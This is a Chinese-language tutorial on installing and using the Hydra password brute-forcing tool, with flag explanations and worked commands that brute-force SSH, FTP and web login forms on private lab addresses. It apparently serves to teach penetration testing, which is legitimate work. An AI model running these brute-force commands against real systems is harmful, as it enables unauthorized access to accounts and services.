一、介绍


hydra是一个自动化的爆破工具,暴力弱密码,支持众多协议,已经集成到KailLinux中,直接在终端打开即可。



hydra支持的服务有:POP3,SMB,RDP,SSH,FTP,POP3,Telnet,MYSQ




属于在线密码



二、安装


2.1、安装依赖



sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev \
  libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \
  firebird-dev libmemcached-dev libgpg-error-dev \
  libgcrypt11-dev libgcrypt20-dev

2.2、下载

mkdir hydra
cd hydra/
wget --no-check-certificate https:///vanhauser-thc/thc-hydra/archive/v9.0.tar.gz

2.3、安装

tar -zxvf v9.0.tar.gz
cd thc-hydra-9.0/
./configure
make
sudo make install
sudo make clean

2.4、验证



hydra

三、使用方法




hydra爆破mysql指定端口 hydra爆破工具安装_爆破密码


-l:指定单个用户名,适合在知道用户名爆破密码时使用

-L:指定多个用户名,参数值为存储用户名的文件的路径(建议为绝对路径) 用户字典

-p:指定单个密码,适合在知道密码爆破用户名时使用

-P:指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议为绝对路径) 密码字典

-C:当用户名与密码存储到一个文件时使用此参数,注意,文件(字典)存储的格式必须为 "用户名:密码"

-M:指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)。注意:列表文件存储格式必须为 "地址:端口"

-t:指定爆破时的任务数量(可以理解为线程数),默认为16

-s:指定端口,适用于攻击目标端口非默认的情况。例如:http服务使用非80端口

-S:指定爆破时使用SSL连接

-e:空密码探测和指定用户密码探测(ns)

-R:继续从上一次爆破进度上继续爆破

-v/-V:显示爆破的详细信息

-f:一但爆破成功一个就停止爆破

-o:将找到用户密码对写入文件中而不是stdout

-4/-6:use IPv4 (default) / IPv6 addresses (put always in [] also in -M)

service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)

server代表要攻击的目标IP(单个),多个目标时请使用 -M 参数

OPT:爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get


使用 HYDRA_PROXY_HTTP 或者 HYDRA_PROXY environment 变量进行代理配置


% export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
     % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
     % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
     % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)

hydra示例:

hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh


四、使用


4.1、linux系统SSH密码


hydra -l zhang  -p Zhang_xxx ssh://192.168.11.45 -vV


hydra爆破mysql指定端口 hydra爆破工具安装_Hydra_02

hydra -l root  -P /home/pass.txt ssh://192.168.11.45 -vV
  
或者
  
hydra -L /home/user.txt  -P /home/pass.txt ssh://192.168.11.45 -vV


hydra爆破mysql指定端口 hydra爆破工具安装_用户名_03


4.2、ftp服务


端口扫描:需要先在75机器上安装ftp服务


hydra爆破mysql指定端口 hydra爆破工具安装_绝对路径_04


hydra爆破mysql指定端口 hydra爆破工具安装_爆破密码_05


 


hydra -L /home/user.txt -P /home/pass.txt -f ftp://192.168.11.75 -s 21 -e nsr -t 1 -vV


hydra爆破mysql指定端口 hydra爆破工具安装_Hydra_06


4.3、web登录 GET请求


hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php


4.4、web登录 POST请求


hydra -l podding -P /home/pass.txt -o out.txt -vV -f 192.168.11.45 -s 443 http-post-form "/auth/login:name=^USER^&password=^PASS^:用户名或密码格式错误"


参数解释:


  • -o out.txt 将尝试过程与结果保存到out.txt;
  • -f:找到一个后停止;
  • 192.168.11.45:目标IP地址;
  • http-post-form:使用http协议的post方法进行;
  • "/:name=^USER^&password=^PASS^:用户名或密码格式错误,请重新输入。" :有三部分组成,以冒号分隔。 第一部分只有一个"/",是指定登录页面所在目录。  第二部分name=^USER^&password=^PASS^,是在网站F12 network中看到的POST提交的内容,只是把用户名与密码换成了^USER^和^PASS^。USER对应前面的-l 后跟的用户名podding,PASS会被字典中的密码逐个替换。  第三部分用户名或密码格式错误,是指定的判断密码是否正确的条件,默认是黑名单模式,也就是如果返回页面中存在”用户名或密码格式错误“就说明这个密码不正确,原因是我们在随便输入一个错误密码后,会看到页面中多了一个类为error的标签


使用http-post-form,不加-s 与 加 -s 443:


hydra爆破mysql指定端口 hydra爆破工具安装_hydra爆破mysql指定端口_07


使用https-post-form:


hydra爆破mysql指定端口 hydra爆破工具安装_绝对路径_08


五、参考


https://zhuanlan.zhihu.com/p/135259422  Ubuntu 18安装爆破利器Hydra